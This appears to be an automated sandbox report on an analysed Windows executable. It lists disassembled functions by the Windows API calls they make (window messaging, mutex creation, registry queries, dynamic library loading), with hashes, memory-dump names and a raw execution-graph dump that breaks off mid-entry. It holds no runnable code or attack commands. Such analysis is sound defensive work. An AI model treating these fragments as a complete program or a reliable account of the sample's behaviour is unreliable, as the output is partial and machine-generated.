                                                                                                                                                                                                                                      • API ID: File$HandlePointer$CloseCreateErrorLastReadSizeType
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1694776339-0
                                                                                                                                                                                                                                      • Opcode ID: bd0a662ad2dd38144def4530256030cdb08cf53568247c3ffcddd32d1ed1ea18
                                                                                                                                                                                                                                      • Instruction ID: 6684f6b4d1923fa93cc5777a7ebe0ca766b8c5f16b1f456132d2f0a6dbb27d3d
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: bd0a662ad2dd38144def4530256030cdb08cf53568247c3ffcddd32d1ed1ea18
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 444194302042009EF7305F258805B237DEDEB4571AF208A3FA1D6BA6E1E77DAE419B5D
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetSystemDefaultLCID.KERNEL32(00000000,0040560C,?,?,?,?,00000000,00000000,00000000,?,004065EB,00000000,004065FE), ref: 004053DE
                                                                                                                                                                                                                                        • Part of subcall function 0040520C: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0040C4BC,00000001,?,004052D7,?,00000000,004053B6), ref: 0040522A
                                                                                                                                                                                                                                        • Part of subcall function 00405258: GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,0040545A,?,?,?,00000000,0040560C), ref: 0040526B
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: InfoLocale$DefaultSystem
                                                                                                                                                                                                                                      • String ID: AMPM$:mm$:mm:ss$m/d/yy$mmmm d, yyyy
                                                                                                                                                                                                                                      • API String ID: 1044490935-665933166
                                                                                                                                                                                                                                      • Opcode ID: 2becd82198b95216644133442ecc563e5ef80f5327bc31795fb041598c227e39
                                                                                                                                                                                                                                      • Instruction ID: cc137df54ae1fcbb63b87987e69a719e9c27c4b31815d0debc5c9b1d2781c89a
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2becd82198b95216644133442ecc563e5ef80f5327bc31795fb041598c227e39
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F8515374B00548ABDB00EBA59891A5F7769DB88304F50D5BBB515BB3C6CA3DCA058F1C
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • RtlEnterCriticalSection.KERNEL32(0040C41C,00000000,00401AB4), ref: 00401A09
                                                                                                                                                                                                                                      • LocalFree.KERNEL32(0061AA20,00000000,00401AB4), ref: 00401A1B
                                                                                                                                                                                                                                      • VirtualFree.KERNEL32(?,00000000,00008000,0061AA20,00000000,00401AB4), ref: 00401A3A
                                                                                                                                                                                                                                      • LocalFree.KERNEL32(0061BA20,?,00000000,00008000,0061AA20,00000000,00401AB4), ref: 00401A79
                                                                                                                                                                                                                                      • RtlLeaveCriticalSection.KERNEL32(0040C41C,00401ABB), ref: 00401AA4
                                                                                                                                                                                                                                      • RtlDeleteCriticalSection.KERNEL32(0040C41C,00401ABB), ref: 00401AAE
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3782394904-0
                                                                                                                                                                                                                                      • Opcode ID: 57d208b384dc2f586c03b96f4df297de7af50f17441c1957de60d2bf1c39d9ad
                                                                                                                                                                                                                                      • Instruction ID: 5447b05044442752c1d56c7733342563ab4b4f61826a3093f511f794066d9233
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 57d208b384dc2f586c03b96f4df297de7af50f17441c1957de60d2bf1c39d9ad
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 91116330341280DAD711ABA59EE2F623668B785748F44437EF444B62F2C67C9840CA9D
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 00403D9D
                                                                                                                                                                                                                                      • ExitProcess.KERNEL32 ref: 00403DE5
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ExitMessageProcess
                                                                                                                                                                                                                                      • String ID: Error$Runtime error at 00000000$9@
                                                                                                                                                                                                                                      • API String ID: 1220098344-1503883590
                                                                                                                                                                                                                                      • Opcode ID: 0b7abc0913d0e9b6482778e2bb40dc1e8adb9ed549d30d0444a38b969016e341
                                                                                                                                                                                                                                      • Instruction ID: db3008c0e6bc5d60e05df0545d3e9f81ce91e923819fa2a9fb93000da4b6b716
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0b7abc0913d0e9b6482778e2bb40dc1e8adb9ed549d30d0444a38b969016e341
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B521F830A04341CAE714EFA59AD17153E98AB49349F04837BD500B73E3C77C8A45C76E
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 004036F2
                                                                                                                                                                                                                                      • SysAllocStringLen.OLEAUT32(?,00000000), ref: 004036FD
                                                                                                                                                                                                                                      • MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 00403710
                                                                                                                                                                                                                                      • SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 0040371A
                                                                                                                                                                                                                                      • MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00403729
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ByteCharMultiWide$AllocString
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 262959230-0
                                                                                                                                                                                                                                      • Opcode ID: 759139aa8138bb4f1b890a81a570935fc2f09484a8ccbcda4eb7e9d11bc9ffe5
                                                                                                                                                                                                                                      • Instruction ID: 1285967c487f36a4f1f77a8b8e1f1fe351824cacfdb80e5859a13ebcd08b75b2
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 759139aa8138bb4f1b890a81a570935fc2f09484a8ccbcda4eb7e9d11bc9ffe5
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 17F068A13442543AF56075A75C43FAB198CCB45BAEF10457FF704FA2C2D8B89D0492BD
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,?,00000000,00406F48,?,00000000,004098D0,00000000), ref: 00406E4C
                                                                                                                                                                                                                                      • RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,70000000,?,?,00000000,00000000,00000000,?,00000000,00406F48,?,00000000), ref: 00406EBC
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: QueryValue
                                                                                                                                                                                                                                      • String ID: )q@
                                                                                                                                                                                                                                      • API String ID: 3660427363-2284170586
                                                                                                                                                                                                                                      • Opcode ID: 32d2d681139902fa63b50b1e86c1c6042aee641263ad409bd5d16b68eaa8278f
                                                                                                                                                                                                                                      • Instruction ID: 22a93fbabe645b78fd14ced98f65bd4bcb22fe3fd6f8222f7fa8e6a3c98f8dfc
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 32d2d681139902fa63b50b1e86c1c6042aee641263ad409bd5d16b68eaa8278f
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E6415E31D0021AAFDB21DF95C881BAFB7B8EB04704F56447AE901F7280D738AF108B99
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(00000000,00409C56), ref: 004030E3
                                                                                                                                                                                                                                      • GetCommandLineA.KERNEL32(00000000,00409C56), ref: 004030EE
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CommandHandleLineModule
                                                                                                                                                                                                                                      • String ID: U1hd.@
                                                                                                                                                                                                                                      • API String ID: 2123368496-2904493091
                                                                                                                                                                                                                                      • Opcode ID: ab44cebb113f23cc453db0582047ce3f33ed2b100303cb8959b7892e21e32e4b
                                                                                                                                                                                                                                      • Instruction ID: 0f926add87520dc699e98d27074396f9fab16295c11a520b4b5863bd90c7cb52
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ab44cebb113f23cc453db0582047ce3f33ed2b100303cb8959b7892e21e32e4b
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 03C01274541300CAD328AFF69E8A304B990A385349F40823FA608BA2F1CA7C4201EBDD
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • Sleep.KERNEL32(?,?,?,?,0000000D,?,0040A220,000000FA,00000032,0040A287), ref: 004094F7
                                                                                                                                                                                                                                      • Sleep.KERNEL32(?,?,?,?,0000000D,?,0040A220,000000FA,00000032,0040A287), ref: 00409507
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(?,?,?,0000000D,?,0040A220,000000FA,00000032,0040A287), ref: 0040951A
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(?,?,?,0000000D,?,0040A220,000000FA,00000032,0040A287), ref: 00409524
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorLastSleep
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1458359878-0
                                                                                                                                                                                                                                      • Opcode ID: 597fcf42490b874720d4ad81cf19761f51130dad350fd41d24dc31ad960abd38
                                                                                                                                                                                                                                      • Instruction ID: cd4a420f7ace5638a97e0bdb8a1e9fccbb234b9240edd4770f97938e6011a3cc
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 597fcf42490b874720d4ad81cf19761f51130dad350fd41d24dc31ad960abd38
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 16F0967360451477CA35A5AF9D81A5F634DDAD1354B10813BE945F3283C538DD0142A9

                                                                                                                                                                                                                                      Execution Graph

                                                                                                                                                                                                                                      Execution Coverage:16%
                                                                                                                                                                                                                                      Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                                                      Signature Coverage:4.7%
                                                                                                                                                                                                                                      Total number of Nodes:2000
                                                                                                                                                                                                                                      Total number of Limit Nodes:74
                                                                                                                                                                                                                                      execution_graph 49897 40cd00 49898 40cd12 49897->49898 49899 40cd0d 49897->49899 49901 406f48 CloseHandle 49899->49901 49901->49898 57420 4923a8 57421 4923dc 57420->57421 57422 4923de 57421->57422 57423 4923f2 57421->57423 57566 446f9c 32 API calls 57422->57566 57426 49242e 57423->57426 57427 492401 57423->57427 57425 4923e7 Sleep 57484 492429 57425->57484 57432 49246a 57426->57432 57433 49243d 57426->57433 57556 446ff8 57427->57556 57428 403420 4 API calls 57430 49289c 57428->57430 57431 492410 57435 492418 FindWindowA 57431->57435 57438 492479 57432->57438 57439 4924c0 57432->57439 57434 446ff8 32 API calls 57433->57434 57436 49244a 57434->57436 57560 447278 57435->57560 57440 492452 FindWindowA 57436->57440 57567 446f9c 32 API calls 57438->57567 57444 49251c 57439->57444 57445 4924cf 57439->57445 57442 447278 19 API calls 57440->57442 57476 492465 57442->57476 57443 492485 57568 446f9c 32 API calls 57443->57568 57451 492578 57444->57451 57452 49252b 57444->57452 57571 446f9c 32 API calls 57445->57571 57448 492492 57569 446f9c 32 API calls 57448->57569 57449 4924db 57572 446f9c 32 API calls 57449->57572 57462 4925b2 57451->57462 57463 492587 57451->57463 57576 446f9c 32 API calls 57452->57576 57454 49249f 57570 446f9c 32 API calls 57454->57570 57457 4924e8 57573 446f9c 32 API calls 57457->57573 57458 4924aa SendMessageA 57461 447278 19 API calls 57458->57461 57459 492537 57577 446f9c 32 API calls 57459->57577 57461->57476 57474 4925c1 57462->57474 57475 492600 57462->57475 57466 446ff8 32 API calls 57463->57466 57465 4924f5 57574 446f9c 32 API calls 57465->57574 57469 492594 57466->57469 57467 492544 57578 446f9c 32 API calls 57467->57578 57477 49259c RegisterClipboardFormatA 57469->57477 57471 492500 PostMessageA 57575 4470d0 19 API calls 57471->57575 57473 492551 57579 446f9c 32 API calls 57473->57579 57581 446f9c 32 API calls 57474->57581 57485 49260f 57475->57485 57486 492654 57475->57486 57476->57484 57480 447278 19 API calls 57477->57480 57480->57484 57481 49255c SendNotifyMessageA 57580 4470d0 19 API calls 57481->57580 57482 4925cd 57582 446f9c 32 API calls 57482->57582 57484->57428 57584 446f9c 32 API calls 57485->57584 57493 4926a8 57486->57493 57494 492663 57486->57494 57488 4925da 57583 446f9c 32 API calls 57488->57583 57491 49261b 57585 446f9c 32 API calls 57491->57585 57492 4925e5 SendMessageA 57496 447278 19 API calls 57492->57496 57501 49270a 57493->57501 57502 4926b7 57493->57502 57588 446f9c 32 API calls 57494->57588 57496->57476 57498 492628 57586 446f9c 32 API calls 57498->57586 57499 49266f 57589 446f9c 32 API calls 57499->57589 57510 492719 57501->57510 57511 492791 57501->57511 57506 446ff8 32 API calls 57502->57506 57504 492633 PostMessageA 57587 4470d0 19 API calls 57504->57587 57508 4926c4 57506->57508 57507 49267c 57590 446f9c 32 API calls 57507->57590 57512 42e394 2 API calls 57508->57512 57514 446ff8 32 API calls 57510->57514 57521 4927a0 57511->57521 57522 4927c6 57511->57522 57515 4926d1 57512->57515 57513 492687 SendNotifyMessageA 57591 4470d0 19 API calls 57513->57591 57517 492728 57514->57517 57518 4926e7 GetLastError 57515->57518 57519 4926d7 57515->57519 57592 446f9c 32 API calls 57517->57592 57523 447278 19 API calls 57518->57523 57520 447278 19 API calls 57519->57520 57524 4926e5 57520->57524 57597 446f9c 32 API calls 57521->57597 57529 4927f8 57522->57529 57530 4927d5 57522->57530 57523->57524 57528 447278 19 API calls 57524->57528 57527 4927aa FreeLibrary 57598 4470d0 19 API calls 57527->57598 57528->57484 57539 492807 57529->57539 57545 49283b 57529->57545 57533 446ff8 32 API calls 57530->57533 57531 49273b GetProcAddress 57534 492781 57531->57534 57535 492747 57531->57535 57536 4927e1 57533->57536 57596 4470d0 19 API calls 57534->57596 57593 446f9c 32 API calls 57535->57593 57541 4927e9 CreateMutexA 57536->57541 57599 48c764 32 API calls 57539->57599 57540 492753 57594 446f9c 32 API calls 57540->57594 57541->57484 57544 492760 57548 447278 19 API calls 57544->57548 57545->57484 57601 48c764 32 API calls 57545->57601 57547 492813 57550 492824 OemToCharBuffA 57547->57550 57549 492771 57548->57549 57595 4470d0 19 API calls 57549->57595 57600 48c77c 19 API calls 57550->57600 57553 492856 57554 492867 CharToOemBuffA 57553->57554 57602 48c77c 19 API calls 57554->57602 57557 447000 57556->57557 57603 436078 57557->57603 57559 44701f 57559->57431 57561 447280 57560->57561 57626 4363e0 VariantClear 57561->57626 57563 4472a3 57564 4472ba 57563->57564 57627 408c0c 18 API calls 57563->57627 57564->57484 57566->57425 57567->57443 57568->57448 57569->57454 57570->57458 57571->57449 57572->57457 57573->57465 57574->57471 57575->57476 57576->57459 57577->57467 57578->57473 57579->57481 57580->57484 57581->57482 57582->57488 57583->57492 57584->57491 57585->57498 57586->57504 57587->57476 57588->57499 57589->57507 57590->57513 57591->57484 57592->57531 57593->57540 57594->57544 57595->57476 57596->57476 57597->57527 57598->57484 57599->57547 57600->57484 57601->57553 57602->57484 57604 436084 57603->57604 57617 4360a6 57603->57617 57604->57617 57623 408c0c 18 API calls 57604->57623 57605 436129 57625 408c0c 18 API calls 57605->57625 57607 436111 57612 403494 4 API calls 57607->57612 57608 4360f9 57615 403510 18 API calls 57608->57615 57609 4360ed 57614 403510 18 API calls 57609->57614 57610 43611d 57624 4040e8 32 API calls 57610->57624 57616 43611a 57612->57616 57619 4360f6 57614->57619 57621 436102 57615->57621 57616->57559 57617->57605 57617->57607 57617->57608 57617->57609 57617->57610 57622 436105 57617->57622 57618 436126 57618->57559 57619->57559 57620 43613a 57620->57559 57621->57559 57622->57559 57623->57617 57624->57618 57625->57620 57626->57563 57627->57564 49902 46b984 49903 46b9b8 49902->49903 49936 46be21 49902->49936 49905 46b9f4 49903->49905 49908 46ba50 49903->49908 49909 46ba2e 49903->49909 49910 46ba3f 49903->49910 49911 46ba0c 49903->49911 49912 46ba1d 49903->49912 49905->49936 49993 468ae8 49905->49993 50231 46b914 59 API calls 49908->50231 49958 46b544 49909->49958 50230 46b704 81 API calls 49910->50230 50228 46b294 61 API calls 49911->50228 50229 46b3fc 56 API calls 49912->50229 49916 403400 4 API calls 49920 46be68 49916->49920 49919 46ba12 49919->49905 49919->49936 49921 46ba8c 49932 46bacf 49921->49932 49921->49936 50232 494910 49921->50232 49924 46bbf2 50251 483070 137 API calls 49924->50251 49927 46bc0d 49927->49936 49928 42cbc0 20 API calls 49928->49932 49929 46bc4b 50011 469d90 49929->50011 49930 414ae8 18 API calls 49930->49932 49931 403450 18 API calls 49931->49932 49932->49924 49932->49928 49932->49929 49932->49930 49932->49931 49933 46addc 37 API calls 49932->49933 49932->49936 49954 46bd13 49932->49954 49996 468a24 49932->49996 50004 46ab48 49932->50004 50155 482b68 49932->50155 50268 46b050 33 API calls 49932->50268 49933->49932 50269 403400 49936->50269 49937 46addc 37 API calls 49937->49936 49939 46bcb1 50072 403450 49939->50072 49942 46bd1d 49948 46bddf 49942->49948 50078 46addc 49942->50078 49943 46bccd 50252 457d6c 49943->50252 49947 457d6c 38 API calls 49947->49954 49954->49937 50273 46c298 49958->50273 49961 46b6c6 50298 403420 49961->50298 49965 46b592 49991 46b6b2 49965->49991 50280 455f84 27 API calls 49965->50280 49966 403400 4 API calls 49968 46b6e8 49966->49968 49967 403450 18 API calls 49967->49961 49970 403400 4 API calls 49968->49970 49971 46b6f0 49970->49971 49971->49905 49973 46b615 49973->49961 49987 46b675 49973->49987 50290 42cd48 49973->50290 49974 46b5b0 49974->49973 50281 466474 49974->50281 49977 42cd48 21 API calls 49980 46b68b 49977->49980 49985 451458 18 API calls 49980->49985 49980->49991 49981 466474 33 API calls 49983 46b5f0 49981->49983 50285 451428 49983->50285 49988 46b6a2 49985->49988 49987->49961 49987->49977 49987->49991 50297 47eab4 56 API calls 49988->50297 49991->49961 49991->49967 49994 468a24 33 API calls 49993->49994 49995 468af7 49994->49995 49995->49921 49999 468a53 49996->49999 49997 4078f4 33 API calls 49998 468a8c 49997->49998 50618 453344 18 API calls 49998->50618 49999->49997 50001 468a94 49999->50001 50002 403400 4 API calls 50001->50002 50003 468aac 50002->50003 50003->49932 50005 46ab54 50004->50005 50006 46ab59 50004->50006 50007 46ab57 50005->50007 50619 46a5b4 50005->50619 50704 4698f4 60 API calls 50006->50704 50007->49932 50009 46ab61 50009->49932 50012 403400 4 API calls 50011->50012 50013 469dbe 50012->50013 51081 47d7f0 50013->51081 50015 469e21 50016 469e25 50015->50016 50017 469e3e 50015->50017 51088 466674 50016->51088 50019 469e2f 50017->50019 51091 494800 18 API calls 50017->51091 50020 46a0d2 50019->50020 50022 469f5d 50019->50022 50023 469fc8 50019->50023 50024 403420 4 API calls 50020->50024 50027 403494 4 API calls 50022->50027 50028 403494 4 API calls 50023->50028 50029 46a0fc 50024->50029 50025 469e5a 50025->50019 50026 469e62 50025->50026 50030 46addc 37 API calls 50026->50030 50031 469f6a 50027->50031 50032 469fd5 50028->50032 50029->49939 50039 469e6f 50030->50039 50033 40357c 18 API calls 50031->50033 50034 40357c 18 API calls 50032->50034 50035 469f77 50033->50035 50036 469fe2 50034->50036 50037 40357c 18 API calls 50035->50037 50038 40357c 18 API calls 50036->50038 50040 469f84 50037->50040 50041 469fef 50038->50041 50044 469eb0 50039->50044 50045 469e98 SetActiveWindow 50039->50045 50042 40357c 18 API calls 50040->50042 50043 40357c 18 API calls 50041->50043 50046 469f91 50042->50046 50047 469ffc 50043->50047 51092 42f560 50044->51092 50045->50044 50049 466674 34 API calls 50046->50049 50048 40357c 18 API calls 50047->50048 50051 46a00a 50048->50051 50050 469f9f 50049->50050 50052 40357c 18 API calls 50050->50052 50053 414b18 18 API calls 50051->50053 50055 469fa8 50052->50055 50056 469fc6 50053->50056 50058 40357c 18 API calls 50055->50058 51109 4669ac 50056->51109 50061 469fb5 50058->50061 50063 414b18 18 API calls 50061->50063 50062 469f01 50064 46ac58 35 API calls 50062->50064 50063->50056 50065 469f33 50064->50065 50065->49939 50074 403454 50072->50074 50076 403464 50072->50076 50073 403490 50073->49942 50073->49943 50075 4034bc 18 API calls 50074->50075 50074->50076 50075->50076 50076->50073 50077 402660 4 API calls 50076->50077 50077->50073 50079 468ae8 33 API calls 50078->50079 50080 46adf4 50079->50080 50081 46ae16 50080->50081 50082 465140 21 API calls 50080->50082 51305 465140 50081->51305 50082->50081 50086 46ae2e 50087 46ac58 35 API calls 50086->50087 50088 46ae66 50087->50088 50089 414b18 18 API calls 50088->50089 50090 46ae7a 50089->50090 50091 46ae86 50090->50091 50092 46aeb0 50090->50092 50093 414b18 18 API calls 50091->50093 50095 46aecf 50092->50095 50096 46aef9 50092->50096 50094 46ae9a 50093->50094 50098 414b18 18 API calls 50094->50098 50099 414b18 18 API calls 50095->50099 50097 414b18 18 API calls 50096->50097 50100 46af0d 50097->50100 50101 46aeae 50098->50101 50102 46aee3 50099->50102 50103 414b18 18 API calls 50100->50103 51322 46ab70 50101->51322 50104 414b18 18 API calls 50102->50104 50103->50101 50104->50101 50156 46c298 62 API calls 50155->50156 50157 482bab 50156->50157 50158 482bb4 50157->50158 51588 408be0 19 API calls 50157->51588 50160 414ae8 18 API calls 50158->50160 50161 482bc4 50160->50161 50162 403450 18 API calls 50161->50162 50163 482bd1 50162->50163 51390 46c5f0 50163->51390 50166 482be1 50168 414ae8 18 API calls 50166->50168 50169 482bf1 50168->50169 50170 403450 18 API calls 50169->50170 50171 482bfe 50170->50171 50172 4696dc SendMessageA 50171->50172 50173 482c17 50172->50173 50174 482c68 50173->50174 51590 47993c 37 API calls 50173->51590 51419 4241dc IsIconic 50174->51419 50178 482c98 51427 481f98 50178->51427 50179 482c83 SetActiveWindow 50179->50178 50228->49919 50229->49905 50230->49905 50231->49905 53269 43d9c8 50232->53269 50235 49493c 53274 431bd0 50235->53274 50236 4949c2 50237 4949d1 50236->50237 53307 494138 18 API calls 50236->53307 50237->49932 50246 494986 53305 4941cc 18 API calls 50246->53305 50248 49499a 53306 433dd0 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 50248->53306 50250 4949ba 50250->49932 50251->49927 50253 457d91 50252->50253 50254 457db1 50253->50254 50255 4078f4 33 API calls 50253->50255 50257 403400 4 API calls 50254->50257 50256 457da9 50255->50256 50258 457b60 38 API calls 50256->50258 50259 457dc6 50257->50259 50258->50254 50259->49947 50268->49932 50270 403406 50269->50270 50271 40341f 50269->50271 50270->50271 50272 402660 4 API calls 50270->50272 50271->49916 50272->50271 50302 46c330 50273->50302 50276 414ae8 50277 414af6 50276->50277 50278 4034e0 18 API calls 50277->50278 50279 414b03 50278->50279 50279->49965 50280->49974 50282 46648e 50281->50282 50569 4078f4 50282->50569 50286 451448 50285->50286 50612 42cccc 50290->50612 50293 451458 50294 451428 18 API calls 50293->50294 50295 451474 50294->50295 50296 47eab4 56 API calls 50295->50296 50296->49987 50297->49991 50299 403426 50298->50299 50300 40344b 50299->50300 50301 402660 4 API calls 50299->50301 50300->49966 50301->50299 50303 414ae8 18 API calls 50302->50303 50304 46c364 50303->50304 50363 46670c 50304->50363 50308 46c376 50309 46c385 50308->50309 50312 46c39e 50308->50312 50432 47eab4 56 API calls 50309->50432 50311 46c399 50313 403420 4 API calls 50311->50313 50315 46c3e5 50312->50315 50316 46c3cc 50312->50316 50314 46b576 50313->50314 50314->49961 50314->50276 50317 46c44a 50315->50317 50330 46c3e9 50315->50330 50433 47eab4 56 API calls 50316->50433 50435 42cb4c CharNextA 50317->50435 50320 46c459 50321 46c45d 50320->50321 50324 46c476 50320->50324 50436 47eab4 56 API calls 50321->50436 50323 46c431 50434 47eab4 56 API calls 50323->50434 50325 46c49a 50324->50325 50377 46687c 50324->50377 50437 47eab4 56 API calls 50325->50437 50330->50323 50330->50324 50333 46c4b3 50385 403778 50333->50385 50338 46c4da 50438 466908 18 API calls 50338->50438 50339 46c50b 50396 42c8cc 50339->50396 50342 46c4ed 50344 451458 18 API calls 50342->50344 50346 46c4fa 50344->50346 50439 47eab4 56 API calls 50346->50439 50368 466726 50363->50368 50365 42cbc0 20 API calls 50365->50368 50366 403450 18 API 